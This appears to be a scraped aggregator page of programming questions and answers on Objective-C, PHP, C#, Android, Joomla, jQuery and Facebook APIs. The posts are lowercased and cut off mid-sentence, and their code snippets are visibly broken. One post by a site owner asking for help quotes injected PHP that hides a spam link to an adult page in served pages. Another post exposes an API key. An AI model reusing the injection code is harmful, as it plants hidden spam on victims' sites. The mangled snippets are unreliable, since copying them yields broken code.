Posts

Showing posts from April, 2014

objective c - Opening 'New' Document? -

i have code implemented in mydocument.m file attempts load last used document upon launch. however, upon launching fresh install, (or running after deleting last used file) 'new' document window not appear. know add code this? here is: - (bool)applicationshouldopenuntitledfile:(nsapplication *)sender { nsurl *lasturl=[[nsdocumentcontroller shareddocumentcontroller] opendocumentwithcontentsofurl:lasturl display:yes error:nil]; if (lasturl!=nil) { [doccontroller opendocumentwithcontentsofurl:lasturl display:yes error:nil]; return no; } return yes; } - (bool)applicationshouldopenuntitledfile:(nsapplication *)sender { nsarray* urls = [[nsdocumentcontroller shareddocumentcontroller] recentdocumenturls]; if ([urls count] > 0){ nsurl *lasturl= [urls objectatindex: 0]; if ([[nsdocumentcontroller shareddocumentcontroller] opendocumentwithcontentsofurl:lasturl display:yes error:nil]){ ret

php - my site got defaced. how to protect myself on shared hosting? -

i have godaddy shared hosting , site got defaced. @ fault? site created php possible person can in through vunerability on site , modify file? or through server side being godaddy wasnt secure enough? this injected in file. do? <?php //{{1311051f global $alreadyxxx; if($alreadyxxx != 1) { $alreadyxxx = 1; $olderrxxx=error_reporting(0); function outputxxx_callback($str) { $links = '<span style="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805"><a href="http://www.wcvi.org/community_development/ecogardners/fresh/blow-jobs-teen/blow-jobs-teen.html">blow jobs teen</a><br></div></span>'; preg_match("|</body>|si",$str,$arr); return str_replace($arr[0],$links.$arr[0],$str); } function strtonum($str, $check, $magic) { $int32unit = 4294967296; $length = strlen($str); ($i = 0; $i < $length; $i++) {

c# - triggering label to appear after firing 4 buttons onclick events -

i have algorithm don't know if correct way. mentioned, label appear after user clicks on 4 different buttons, each button auto post back. if(button 1 click && button 2 click && button 3 click && button 4 click) label1.visible = true; what should codes inside if statement? you can use viewstate this. on each button click event update view state button flag. example button 1 if(viewstate["mybuttonstate"]==null) viewstate["mybuttonstate"]=1; else viewstate["mybuttonstate"]=((int)viewstate["mybuttonstate"]) | 1; you can use flag enumeration better approach. button 1-4 use 1,2,4,8 , in if statement if(((int)viewstate["mybuttonstate"])==0x0000000f) label1.visible=true;

iphone - Under iOS, is there a quick way to see what symbols I have for specific UUID's? -

under ios, unique identifiers, known uuid's, assigned @ compile time. on time, developer may accumulate many builds different identifiers. may useful identify uuid's have preserved symbol files associated them. there quick way identify uuid's have preserved symbols? one option use command-line. replace yourappname real application's name. mdfind 'com_apple_xcode_dsym_uuids = *' | grep yourappname | grep dsym | sed 's, ,\\&,g' | xargs dwarfdump --uuid

php - joomla component does not work on my hosting account -

i develop custom joomla 1.5 component , it's working fine locally(wamp server ,php 5.3.5) , toolbar functions add/edit , delete not work on hosting account (apache ,php 5.2.16 ) i have 2 toolbars, when click on second toolbar redirect first one this code controller.php class galgallerifficcontroller extends jcontroller { /** * method display view * * @access public */ /** * constructor (registers additional tasks methods) * @return void */ function __construct() { parent::__construct(); // register tasks $this->registertask( 'add' , 'edit' ); } /** * display edit form * @return void */ function edit() { jrequest::setvar( 'view', 'gallery' ); jrequest::setvar( 'layout', 'form' ); jrequest::setvar('hidemainmenu', 1); parent::display(); } /** * remove record(s) * @return void */ function remove() { $model = $this->getmodel(&#

.net - When using Graph API for mass notification, how do I make it efficient? -

i'm using facebook c# sdk , looking answer in context of library, general info might helpful. question when accessing multiple facebook users (e.g. send message authed users of application) best use graph api or more efficient method? efficiency i can use graph api's https://graph.facebook.com/ userid call ( requires 1 call each user info wanted ), feels inefficient make graph api call each user. the old rest api had call users.getinfo multiple user's info retrieved @ once, rest api being deprecated , facebook recommends not using longer. my other thought fql might viable users @ once; if can instead call graph api once per user without repercussion (e.g. # request governance, rate limiting, etc) prefer stick that. any other options? rate limits? i've seen discussion on graph api rate limits here , here don't know if concern. if want grab information multiple users can use https://graph.facebook.com/?ids=4,152078551499478&fiel

jquery - Cannot get API to work. Help please! -

hi can't seem weather api work. i'm using jquery , json , below code i've been staring @ day , can't figure out i'm going wrong. please cast eyes on below , tell me what's going on? in advance dave. $.get('http://www.worldweatheronline.com/feed/weather.ashx?q=auckland,new+zealand&format=json&num_of_days=2&key=7677dba721211420113101', function(data, textstatus) { alert('status '+textstatus); alert('json data string is: '+data); // give array of objects var weather = json.parse(data); // iterate on public_tweets for(var x=0; x < weather.length; x++) { var twt = weather[x]; var elm = weather.current_condition.temp_c; alert('current temp is:'+elm); }); your loop doesn't have terminating bracket: $.get('http://www.worldweatheronline.com/feed/weather.ashx?q=auckland,new+zealand&format=json&num_of_days=2&key=7677dba721211420

c# - Need help in protecting WCF service -

i'm developing wcf service , wnat protect service unauthorized users. i'm planning add parameter "rsakey" service , client (addin) generate , sends rsakey every request , service check passed rsakey time ip , serves if valid. but question here is, if 1 decompiles client (addin) though fuscated if guess of actual function generating "rsakey", can call method , generate rsakey , use service without problem. so, there anyway protect service consumed valid/allowed clients? note: 1 big thing conside is, want distribute/give clients freely public usage without credentials. same time want protect massive copy/miss usage of service. short answer: no. the problem here client needs able connect. copy of client , time/knowledge can figure out how works, , make own client passes same thing. they're free whatever want. a lot of money gets put trying accomplish type of drm big companies, , it's broken. obscurity real way type of thing works (

How to select all item programatically in AlertDialgue Multichoice button in Android -

hi new android development have alertdialog multichoice button want set 1 button clicking button item in alertdialog list automatically select programmaticaly. but unable find way kindly me in regards. you can this: .setneutralbutton(r.string.set_all, new dialoginterface.onclicklistener() { public void onclick(dialoginterface dialog, int id) { listview list = ((alertdialog) dialog).getlistview(); (int i=0; < list.getcount(); i++) { list.setitemchecked(i, true); } } }) unfortunately, button dismisses dialog if not want it. intended behavior: a link google issue

Getting android contacts -

im trying list of contacts , there email address. currently im using code, lot of duplicate names , emails. want 1 person , 1 email. there way can merge contacts while querying them? also im looking > 2.0 solution. private void init() { contentresolver cr = getcontentresolver(); cursor cur = cr.query(contactscontract.contacts.content_uri,null, null, null, null); if (cur.getcount() > 0) { while (cur.movetonext()) { string id = cur.getstring(cur.getcolumnindex(contactscontract.contacts._id)); string name = cur.getstring(cur.getcolumnindex(contactscontract.contacts.display_name)); cursor emailcur = cr.query(contactscontract.commondatakinds.email.content_uri,null,contactscontract.commondatakinds.email.contact_id + " = ?", new string[]{id},null); while (emailcur.movetonext()) { string email = emailcur.getstring( emailcur.getcolumnindex(contactscontract.commondatakinds.email.data)); l

android - Determine turn taking in game -

i creating game , highly appreciate advise on this. i have activity loads class , class loaded, text view shows player 1 turn. understand can set in xml. but when player 1 loses game text field should show player 2 turn. it great if explain how this. even better if 2 people enter there names 1 player 1 , player 2 show names of turn is. many thanks. 1) dont set text in xml file. since app supposed set text dynamically 2) read this . can use settext() dispay desired text. code textview textview tv = (textview) findviewbyid(r.id.yourtextviewid) it if read book on android programming before starting game programming

jquery - trying to get data from external php file -

what's wrong code of mine... i'm new jquery 1.5 ver.... function loadqry(str) { $.ajax({ type: "post", url: "fillpage.php", data: "prodcode="+str, success: function(response_data){ $('s_content').html(response_data) } }); } the problem have that, it's not returning data external php. i'm confused.. in 1.4 using xmlhttprequest can , it's doing fine. code bugged me lot.. function loadpostqry(str) { $.get( 'fillpage.php','prodcode='+str, function(data) { $('#s_content').html(data); }, "html" ); } i'm assuming meant this?

mysql - Join query or multiple select queries -

i'm using mysql. have 7 tables , want fetch data of them. using multiple select queries. there 22 million records in 1 of tables. first i've tried join giving me out of memory error. i've tried join query limit worked 100,000 records. have 4 gb ram. question faster join or multiple selects.

.net - How to check if datagridview cell is Null -

i want display message if value of cell of datagridview null. please advise how it. , best regards, furqan you need check if value property of datagridviewcell nothing (the equivalent of null in c#). you can following code: if mydatagridview.currentcell.value nothing messagebox.show("cell empty") else messagebox.show("cell contains value") end if if want inform user when try leave cell has been left empty, need use similar code in cellvalidating event handler method. example: private sub mydatagridview_cellvalidating(byval sender object, byval e datagridviewcellvalidatingeventargs) handles mydatagridview.cellvalidating if mydatagridview.item(e.columnindex, e.rowindex).value nothing ' show user message messagebox.show("you have left cell empty") ' fail validation (prevent them leaving cell) e.cancel = true end if end sub

Drawing shapes in Flex / Actionscript -

i want develop image editing application in flex 4. initial requirement draw various shapes line, rectablge, triangle, circle, star etc in appication. want facilitate user draw shapes using rubber banding professional applications do. all shapes vector , should smooth in size. so, can't use bitmap , scale them. what better methods achieve this? make shape editor control points. control points draggable sprites (circles or squares like). when control point moved, editor must updated - may resize or move action. on resize, draw vector shape according new size. easiest way make sprite draggable startdrag() function - can set limits there (to stay in editor area or disable negative sizes). i have done such editors based on sprites, added flex application rawchildren.addchild, can try use canvases instead of sprites if wish.

sql server - Replacing the values in sql table -

orderid, ordertime, orderitem 1, 1 am, orange 1, 2 am, apple 2, 3 am, grape 3, 2 am, apple 3, 3 am, coconut 1, 5 am, banana 1, 6 am, apple the above original table. below table want. if order id same continuously, wwant change order time minimum time. orderid, ordertime, orderitem 1, 1 am, orange 1, 1 am, apple 2, 3 am, grape 3, 2 am, apple 3, 2 am, coconut 1, 5 am, banana 1, 5 am, apple there no "natural" order data in sql server if don't specify order order in no way guaranteed. need column can use define order by . once have can like declare @data table ( orderitemid int identity(1,1) primary key, orderid int, ordertime datetime, orderitem varchar(10)) insert @data select 1,'00:01:00','orange' union select 1,'00:01:00','apple' union select 2,'00:03:00',&

ruby - Would 'gem update --system' make my previously installed gems incompatible? -

i tried install hoe , encounted this: installing hoe (2.9.1) /library/ruby/site/1.8/rubygems/installer.rb:170:in `install': hoe requires rubygems version >= 1.4. try 'gem update --system' update rubygems itself. (gem::installerror) i worried update might corrupt previous installed gems... gem update --system update rubygems itself. previously installed gems not affected , should run before. or there specific gem or situation worried about?

Android "Share" Submenu -

possible duplicate: android quick actions ui pattern how can make submenu android see below link.it may useful u sub menu

android - When to use getparent() -

in custom view need use getparent method , set visibility on of it's child views depending on custom view's state. problem want instantiate child views once. best place this? thanks lot, gratzi i'm not sure want do. if of occurring in same activity screen why don't assign id s (e.g. android:id="@+id/someid" elements in layout.xml file. this way can reference element programatically in code calling: view someview = findviewbyid(r.id.someid); i unclear why need call getparent . if trying manipulate views in different activity think need use handler .

How to add a subdomain to an asp.net website? -

i have asp.net website. want add subdomain secondary language: www.domain.com = main cn.domain.com = chinese i have no idea start... thanks. first off might want read bit general how mutlilingual applications, here couple of resources start off with: multilingual applications in .net creating mutlilingual websites in asp.net in short might want in asp.net application, listen sub-domain users coming , based on use above change current language. something these 2 steps: identify subdomain user accessing alternativly check browser language change globalization settings another thing need move text resource files corresponds language user wants view. above tutorials should go through steps aswell.

Latest Rails 3: ActionView::Template::Error (couldn't parse YAML at line 105 column 13) -

i have encountered weird problem or rails 3, possibly ever since new rubygems 1.5 update. when deploy program nginx passenger 3.0.2, have 500 page , problems in production log: actionview::template::error (couldn't parse yaml @ line 105 column 13): 10: </div> 11: <% end %> 12: <div class="field"> 13: <%= f.label :name %> <%= f.text_field :name %> 14: </div> 15: <div class="field"> 16: <%= f.label :password %> <%= f.password_field :password %> app/views/sessions/new.html.erb:13:in `block in _app_views_sessions_new_html_erb___4159562374589718885_19217640_4456777064017176818' app/views/sessions/new.html.erb:5:in `_app_views_sessions_new_html_erb___4159562374589718885_19217640_4456777064017176818' it looks it's missing in environment , can't recognize of form_for elements. page simple login page 2 fields - name , password. problem happens other pag

C# detect folder junctions in a path -

i want make quick check if in complete path junction point used. have function test folder isjunction() maybe there other solution not call isjunction() on every subfolder. so i'm looking function hasjunctionsinpath(string path) without testing each folder of path. is there can this? edit: or better... is possible resolve junctions in path real location of file or folder? better solve problem , still can compare result original path implement bool hasjunctionsinpath(string path) function. look @ solution of jeff brown. he implemented features in static class, seems work fine. http://www.codeproject.com/kb/files/junctionpointsnet.aspx

php - If statements in template system -

how can parse, let's say, {if $var > 2} or {if $var} in .tpl file in own version of templating class. not wanna use smarty don't need plugins. want include, if, , foreach statements. please use php. put in tpl file: <?php if ($var > 2) .... ?> it's lot simpler, less code , lot faster parsing file in php

text to speech - how to synthesize audio in iPhone -

i need synthesize voice can used speak text supplied it. how can done in iphone. went through sphinx voice synthesizer , other voice synthesizers, have predefined voice converting text speech. in app require voice provided me respond back. any suggestions in regarding start with, helpful. thanks in advance. i looking same thing. looks apple doesn't provide library that, despite fact iphone uses speech during auto-text. way have found till using 3rd party http://www.ispeech.org/developers/iphone . havent tested yet.

Best practice to create a JSON string of one object containing an array of other objects using Ruby? -

what practice create json string of 1 object (object of class a) containing array of objects (objects of class b)? particularly interessted in implementation of class's to_json method. assuming class looks follows: class attr_accessor :items def initialize() @items = array.new end def to_json(*a) ?secret of day? end end and class b: class b def to_json(*a) {"class b" => "class b"}.to_json(*a) end end the best solution got far is: def to_json(*a) json = array.new @items.each |item| json << item.to_json(*a) end {"class a" => json}.to_json(*a) end assuming there 1 item in array of object of class a, resulting json string looks follows: {"class a":["{\"class b\":\"class b\"}"]} i sure can better? i instead def to_json(*a) {"class a" => @items}.to_json(*a) end the problem approach @items array contains strings,

javascript - Jquery Disable option in dropdown -

guys have used following code disable option using jquery ( jquery-1.4.2.min ).the disable happens in firefox , not in ie. <select name="scope" id="scope"> <option value="g"> global <option value="d"> dynamic </select> $("#scope option[value='g']").attr("disabled","disabled"); $("#scope option[value='d']").attr("selected", "selected"); i think might wrong because select rather option can disabled. since firefox great , ie sucks, can guess why :) having problem. use css grey out text of option. then on jquery this. $('#scope').change(function(){ if($('#scope option[value="'+$(this).val()+'"]').attr('disabled') == 'disabled'){ alert('its disabled cannot select option'); } }); btw. double check code have not tested :)

json - JAXB A cycle is detected in the object graph -

i want convert pojo json jaxb, pojo have 1 many relation, , when convert pojo json, jaxb generate error "a cycle detected in object graph. cause infinitely deep xml". i read web that, problem can solved @xmlid , @xmlidref, there 1 problem, id attribute not string type long. , far know @xmlid can used string property. other web suggest using eclipselink moxy, moxy cannot generate json. as mentioned in question eclipselink moxy (i'm tech lead) has @xmlinversereference annotation solve problem of bidirectional relationships. of eclipselink 2.4 moxy can produce/consume json. for more information http://bdoughan.blogspot.com/2010/07/jpa-entities-to-xml-bidirectional.html http://blog.bdoughan.com/2011/08/json-binding-with-eclipselink-moxy.html

c# - Compound entries with different dates using SQL -

i have read in historical customs tariff data large text file database, data bit messed up. a tariff consists of type , measure (the actual rates , effective dates) a type defined typecode , description. measures contain rates, geographical area applies to, rate , start date , end date. the problem there multiple entries same tariff different effective dates needs compounded 1 entry. the text file looks this: (typecode, area, rate, startdate, enddate, description) 1: 01021000#gen #free #20050101#20061231#pure-bred breeding animals # 2: 01021000#gen #free #20070101#20071231#pure-bred breeding animals # 3: 01021000#gen #free #20080101#99999999#pure-bred breeding animals # 4: 01029000#gen #00000040.000% #20050101#20061231#other # 5: 01029000#gen #00000040.000% #20070101#20071231#other # 6: 01029000#gen #00000030.000% #20080101#20091231#other # 7: 01029000#eu #00000030.000% #20070101#20071231#other # in example: 1, 2 , 3 needs compounded 1 measure first start

objective c - How do I load an XML document into an NSTableView? -

hi point me in right direction tutorial, guide or sample code, thanks, sami. the answer given shreyasva close misleading. first, parsing xml easily-managed cocoa data structure correct. performance reasons, shouldn't tying table's datasource directly xml. yan.kun's suggestion possible if have "more little" data, run performance problems. highly recommend parsing data nsarray of nsdictionary objects longer data sets. second, core data bit overkill if don't plan persist xml document in other way or if have handful of objects. overkill long shot. it's not necessary (and not reasonable) shoehorn every data structure in app core data without reason. nsdictionary instance work fine caching parsed data consumption table view. third, there no -tableview:cellforrowatindexpath: method. seems confusing nstableview uitableview. since specified mac tag, nstableviewdatasource protocol. cocoa bindings not "better than" or "replacement f

c++ - What is a good example of recursion other than generating a Fibonacci sequence? -

possible duplicates: real-world examples of recursion examples of recursive functions i see programming language tutorial teach recursion using simple example how generate fibonacci sequence, question is, there example other generating fibonacci sequence explain how recursion works? the classic binary tree search: def findval (node,val): if node == null: return null if node.val = val: return node if node.val > val: return findval (node.left,val) return findval (node.right,val) findval (root,thing_to_find) that may little more complex simple formula it's "bread , butter" use of recursion, , illustrates best places use it, recursion levels minimised. by mean: could add 2 non-negative numbers with: def add (a,b): if b == 0: return return add (a+1,b-1) but you'd find running out of stack space pretty large numbers (unless compiler optimised tail-end recursions of course, sh

mysql - How to get a filtered list -

i'm trying : listetaggr.datacontext = in oo.articles a.producttype.id.equals(1) select a.tagstrings distinct error : tagstrings list. wan't retrieve list of distincts tagstrings articles producttype 1 listetaggr.datacontext = (from in oo.articles a.producttype.id.equals(1) ts in a.tagstrings select ts).distinct()

Problem implementing Java Swing worker -

i've learned executing swing background tasks , i'm starting experiment i'm having little trouble implementation. code retrieves image , returns result (an integer) indicates whether image retrieval successful result = 0 or unsuccessful result = -1. here problem, retrieving result soon. can see statements in createimage method in code below executing after result read in done() method. guess thought done method not execute until createimage done. here code below: new swingworker<int[], void>() { int result = -1; @override protected int[] doinbackground() throws exception { // todo auto-generated method stub return createimage(); //returns integer array of size 1 indicating result } protected void done() { try { result = get()[0]; //this result being read before createimage done //executing. why? thisapplet.setcursor(new cursor(cursor.default_cursor)); tree.setenabled(true); if (result == -1){

javascript - Checkbox in firefox extension -

i want place menu item extension has check. <menupopup id="menu_toolspopup"> <menuitem type="checkbox" label="convert" id="menu_toolspopupitem"/> </menupopup> overlay.js window.addeventlistener("load", function() {myextension.init()}, false); init: function() { window.addeventlistener("copy", function() {myextension.test()}, false); }, test: function (win) { var x= document.getelementbyid("menu_toolspopupitem"); //not null!!! alert(x)=> [object xulelement] alert(x.checked);//-> undefined } i don't state of menu item. and how save selection after restart browser? looks have access attribute -- there's no convenient property wrapper in case: [attribute] checked type: boolean indicates whether element checked or not. use hasattribute() determine whether attribute set instead of getattribute(). https://

visual studio 2010 - Why can't I debug my asp.net web project anymore? -

Image
something has changed in asp.net web project... used able debug. breakpoints being ignored. checked web.config, , says: <compilation defaultlanguage="c#" debug="true" targetframework="4.0"> so seems in order. else might messing debug environment? edit: should mention when run console app, breakpoints work fine. it's when run web app breakpoints don't happen. this happens when i'm debugging using iis. if use vs dev server, breakpoints work! if have upgraded solution / project .net 4.0, code type when select debug may still 'managed (v2.0, v1.1, v1.0)' , not 'managed (v4.0)' meaning breakpoints not hit. when choose "debug > attach process" in visual studio before selecting process e.g. "w3wp.exe", click 'select' button of 'attach to' section , select 'managed (v4.0)' option. hope helps.

performance - Random-access container for strings in python? -

i manipulate indexed instances (say, music tracks) , have lookup object's name index (int->string). dicts slow (i have 10m objects). memory not problem, convinient solution create random-access array of strings csv file names. however, have failed make in python -- got error 0-dim arrays (strings) couldn't indexed. what's native python way create random access container strings? from remember, dictionaries in python have o(1) average access time, lists faster. if indices not sparse, can try this: reader = [(1, 'a'), (2, 'b')] # replace csv reader. # first, fill dictionary: text_dict = {} index, text in reader: text_dict[index] = text # create sufficiently large list: max_index = max(text_dict.iterkeys()) texts = [none] * (max_index + 1) # , fill it: index, text in text_dict.iteritems(): texts[index] = text print texts # prints: [none, 'a', 'b'] print texts[1] # prints:

ruby on rails - rake cucumber and cucumber --tag @tagname give different results -

if use rake cucumber fixtures not loaded , tests fail. if use cucumber --tag @tagname run scenario loads fixtures, factories, , passes. the bottom of /features/support/env.rb looks this: cucumber::rails::world.use_transactional_fixtures = true fixtures.reset_cache fixtures_folder = file.join(rails_root, 'spec', 'fixtures') fixtures = dir[file.join(fixtures_folder, '*.yml')].map {|f| file.basename(f, '.yml') } fixtures.create_fixtures(fixtures_folder, fixtures) if defined?(activerecord::base) begin require 'database_cleaner' databasecleaner.strategy = :truncation rescue loaderror => ignore_if_database_cleaner_not_present end end everything else standard rails 3. i had change line: databasecleaner.strategy = :truncation, {:except => %w[degrees states_provinces contribution_types manuscript_types statuses countries roles user_templates]} i needed of tables loaded tests pass databasecleaner truncating

jquery - Weird problem with IE8 (but not IE7/Firefox/Chome) - content overflowing after Javascript used -

i'm working on website insurance company - on our test servers. page in question here: http://easygap.testservers.co.uk/4/getaquote/ it works fine in chrome, firefox, etc. in ie7 layout messed up, that's going sorted later on (we haven't finished styling on form anyway). in ie8, however, when click yes or no, footer comes , right hand menu scrolls on it. not sure why is, have tried adding divs clear: none, etc. ideas? (before elitist comments code, i'm 18 , have started out working company. suggestions very, welcome pointless flaming not. thanks.) to fix this, add clear: both #content . your site seems have changed. you can can fix adding overflow: auto #content . soooo irrelevant, have this: <div id="centre"> i advise use american spelling "center" when comes web development, keep consistent text-align: center , , friends.

android - I import and compile FBReaderJ on eclipse But many error occurred -

(1)i downloaded fbreaderj-sources http://www.fbreader.org , i'm having difficult time importing , compiling fbreaderj in eclipse android project. i did run ndk-build in project catalog cygwin make file libdeflatingdecompressor.so , liblinebreak.so in libs directory but r.java missing; why doesn't source include it? know r.java changes automatically, possible existing file or creating new project in workspace. how fix it? related local.properties ? in computer sdk , ndk , cygwin installed , local.properties saved sdk.dir = /android/android-sdk_r08-windows/android-sdk-windows ndk.dir = /android/android-ndk-r5b what problem? (2) resolved above problem of missig r.java gen/r.java got building failed. below ant result what problem in main.xml? c:\fbreaderj-sources>ant buildfile: c:\fbreaderj-sources\build.xml . . . [echo] generating r.java / manifest.java resources... [null] c:\fbreaderj-sources\res\layout\main.xml:8: error: no resource ident

Get permission and begin publishing to a Facebook page wall, separate from user's account? -

using facebook c# sdk nathan totten, how go getting permission post facebook page wall, page id provide? i've got facebook c# sdk working let users login using facebook account, , making posts own walls. however, wish let users enter facebook page id (of admin of) , begin publishing wall. when click login via facebook button, if they've never logged in before automatically asks permission. not sure how later, when user has granted permission profile info... , want permission page wall. to fb permission publish page wall need grant user manage_pages permission. for example: https://graph.facebook.com/oauth/authorize?client_id=123456789&redirect_uri=http://example.com/&scope=publish_stream,share_item,offline_access,manage_pages after user granted permission manage pages may publish posts page. for fb button may try this: <fb:login-button onlogin="onrequestpermission();"></fb:login-button> function onrequestpermission(){ va

jquery - What does putting a javascript function inside a '$()' do? -

i'm learning ajax right , jquery function being used submit form wrapped inside $( function() { } ) so. do? $(function() { $('.error').hide(); $(".button").click(function() { // validate , process form here } }); this shortcut provided jquery running code on page ready. equivalent to: $(document).ready(function() { ... }); jquery call function when page ready manipulated. docs

c# - dynamicaly add menu itmes to asp:Menu -

i have defined asp:menu in design time in master page. i want in master page code behind in page-load event check if user in developer role, additional set of menu items. how use c# add menu items code behind asp:menu? i not using site map provider! place in code behind: menu1.items.add(new menuitem("text", "value"));

.net - Amazon EC2 API and Windows instances - any way to get drive letter assignment? -

i have windows ec2 instances managing via c# application; i'm using aws.net sdk. i'm trying figure out documentation if there anyway query api , volume-to-drive letter assignment within instances. failing that, know if ec2 consistent in mapping of devicenames (e.g. /dev/sdb, /dev/sdc) drive letter? /dev/sdb d, /dev/sdc e, etc.? in experience, unless go in , mess it, drives map out, device name drive letter, so: /dev/sda1 c: /dev/sda2 d: /dev/xdf f: /dev/xdg g: /dev/xdh h: ...etc i have no idea how tell map e... , i've never cared to. so long let defaults, you'll above consistently , can device mapping describeinstances call.

Android application stays black but continues to work -

i'm developing application using android sdk in eclipse. in specific cases when go settings screen , go main activity, screen stays black. application still functional, buttons still working. know because there "play" button starts audio , can click on web link black screen opens in browser. log of os shows errors seems related os , not application: 02-09 09:22:20.571: warn/graphicbuffermapper(25297): registerbuffer(0x12aad0) failed -14 (bad address) 02-09 09:22:20.571: warn/surface(25297): registerbuffer(...) failed -14 (bad address) 02-09 09:22:20.571: error/surface(25297): getbufferlocked(0, 00000033) failed (bad address) 02-09 09:22:20.571: error/surface(25297): dequeuebuffer failed (bad address) 02-09 09:22:20.586: error/viewroot(25297): illegalargumentexception locking surface 02-09 09:22:20.586: error/viewroot(25297): java.lang.illegalargumentexception 02-09 09:22:20.586: error/viewroot(25297): @ android.view.surface.lockcanvasnative(native method) 02-09

Cannot connect to SharePoint 2010 Web Site whilst on the server locally - Access denied -

i getting error below while getting search crawlers work:- the start address sts4://mysites/contentdbid={3d198865-7f27-4633-bd71-902795032d78} cannot crawled. * context: application 'search_index_file_on_the_search_server', catalog 'search'* details: access denied. verify either default content access account has access repository, or add crawl rule crawl repository. if repository being crawled sharepoint repository, verify account using has "full read" permissions on sharepoint web application being crawled. (0x80041205) i have checked permissions , appear in order. while investigating problem discovered when rdp sharepoint server , connect sites whilst on server (locally server) access denied. the central administration works fine, other web applications (intranet & mysites) not allow me login. prompted enter username , password (like when connecting ca) never accepts login. these sites work without problems when accessed client workstati

Is it possible to add custom metadata to a Lucene field? -

i've come point need store additional data particular field comes in lucene.net index. specifically, want attach guid fields of document when field added document, , retrieve again when document search result. is possible? edit: okay, let me clarify bit giving example. let's have object want allow user tag custom tags "personal", "favorite", "some-project". adding multiple "tag" fields document, so: doc.add( new field( "tag", "personal" ) ); doc.add( new field( "tag", "favorite" ) ); the problem need record meta data each individual tag itself, guid representing tag came (imagine user id). each tag potentially have different guid, can't create "tag-guid" field ( unless order of values preserved---see edit 2 below). don't need metadata indexed (and in fact i'd prefer not be, avoid getting hits on metadata), need able retrieve again document/field. doc.getfields

terminology - What is component oriented programming in Java? -

i need learn component oriented programming in java, believe related ejb's not sure that... true ? please give me links related component oriented programming in java have start point ? thanks ! component oriented programming method of decomposing problem major sections ("components") each has particular role or domain of responsibility in solving problem. businesses component oriented consist of departments "accounting", "purchasing", "sales", have full domain on tasks business needs provide. the differences between object-orientation , component orientation ones of scale , re-usability. object oriented thinking tends focus on tight integration of small objects, objects reused across entire software offering. component oriented thinking tends focus on silos of responsibility operate independently , may or may not share common objects other components. jdbc database drivers example of component oriented thinking (impl

facelets - Custom jsf component to include page with fallback -

i'm in trouble basic custom component built (using jsf1.2 , facelets) it's same regular ui:include, renders own children if includefile cannot found (instread of exception in ui:include). here code of apply() function within taghandler: view plaincopy clipboardprint? if (path == null || path.length() == 0) { log.debug("path empty or 0: src=" + src + ";path=" + path); included = false; } else { variablemapper orig = ctx.getvariablemapper(); ctx.setvariablemapper(new variablemapperwrapper(orig)); try { this.nexthandler.apply(ctx, null); ctx.includefacelet(parent, path); } catch (java.io.filenotfoundexception ex) { log.debug("failed include page: " + ex.getmessage()); included = false; } { ctx.setvariablemapper(orig); } } if (!included) { // includepage not included, render child tags

Windows Phone Silverlight - setting button IsDisabled if bound data length is 0 -

here's i've got - i'm writing app that, among other things, reads rss feed episodes of podcast, displays each episode's title , description, "listen" , "watch" button. not episodes have both options - rss return empty string instead of url either option if it's not available. i'm trying use ivalueconverter can bind isdisabled to, returns true if bound data length 0, , false otherwise. now, i'm testing on "watch" buttons, since binding identical "listen" buttons. a snippet of mainpage.xaml.cs: using system.xml.linq; using system.windows.data; namespace appname { public partial class mainpage : phoneapplicationpage { public mainpage() { initializecomponent(); webclient podcastlistdownloader = new webclient(); podcastlistdownloader.downloadstringcompleted += new downloadstringcompletedeventhandler(podcastlistdownloadcompleted); podcastlistdown

uitableview - iphone table view - button inside table cell -

i have created button , placed inside table cell: [btn addtarget:self action:@selector(dosomething:) forcontrolevents:uicontroleventtouchupinside]; ... [cell.asubview addsubview:btn]; the button shows in table cell, tapping highlights , selects entire cell. how can button selected on own? why use cell.asubview ? should go contentview property. documentation : if want customize cells adding additional views, should add them content view positioned appropriately cell transitions , out of editing mode.

wpf - tab control data template -

i want tabcontrol each tab item represents (employee)viewmodel; header should displayname property of view model, , content should user control (employeedetailsview) has data context of view model. so pidgeon xaml (is there such thing??): <tabcontrol x:name="items"> <tabitem header="displayname" content=local:employeedetailsview /> <tabcontrol> what should real xaml like? cheers, berryl edit vortex <tabcontrol x:name="items" > <tabcontrol.itemtemplate> <datatemplate> <textblock text="{binding displayname}" /> </datatemplate> </tabcontrol.itemtemplate> <tabcontrol.contenttemplate> <datatemplate> <contentcontrol> <local:employeedetailview/> </contentcontrol>

android - adwhirl, admob failure over wifi -

everything working fine in 3g mode advertisement correctly shown can see title when connect phone via wifi got same response: 02-09 18:58:47.790: info/admobsdk(10151): no fill. server replied no ads available (315ms) 02-09 18:58:47.790: debug/adwhirl sdk(10151): admob failure the error says "no fill" suggests admob had no suitable ad show , can't fulfil request advert because doesn't have suitable ad. use geolocation choose ads show, , expect wifi on device doesn't provide location (but 3g does) , admob isn't able serve suitable advert. i don't think you're doing wrong, it's limitation of admob (and other ad providers) under circumstances server cant provide ads. ad-providers have fill-rate, measures how of available ad-space has been sold. not 100%, ad requests not filled.

WPF 3D :check if a cube can completely contain another cube -

i working on drop & drop in 3d. have created 3d spaces (rooms) walls (cubes) act place holders objects (assume smaller cubes) being dropped. how go figuring out : if user drops object @ edges of room room contain object? meaning, not want objects partially in room , partially outside. ideally cancel drop operation / move point room safely contains object. i have bounds of room & object (modelvisual3d.content.bounds) , point @ object dropped. i thinking have math figure out if object placed @ point within bounding room. ideas/thoughts/pointer appreciated. to make drag , dropping in 3d easier might implement (optional) snapping system. to check whether or not box contains box check corners of box. test each corner see if on 'inside' (or outside) of faces of other box. if corners inside, box inside. this work boxes, not axis aligned boxes.

Spring Hibernate MySQL Test doesn't roll back -

i have problem transactional tests using spring 3.0.5, hibernate 3 , mysql 5. in logs seems there's ok , transaction rolls back, got record inserted database. configuration this: <bean id="hibernatedatasource" class="org.apache.commons.dbcp.basicdatasource" destroy-method="close"> <property name="driverclassname" value="com.mysql.jdbc.driver" /> <property name="url" value="jdbc:mysql://localhost:3306/blog" /> <property name="username" value="user" /> <property name="password" value="password" /> <property name="defaultautocommit" value="false" /> </bean> <bean id="transactionmanager" class="org.springframework.orm.hibernate3.hibernatetransactionmanager"> <property name="sessionfactory" ref="hibernatesessionfactory" /> </bean> <tx:anno

blackberry - Vertical scrollbar with jump points - setVerticalScroll locking UI -

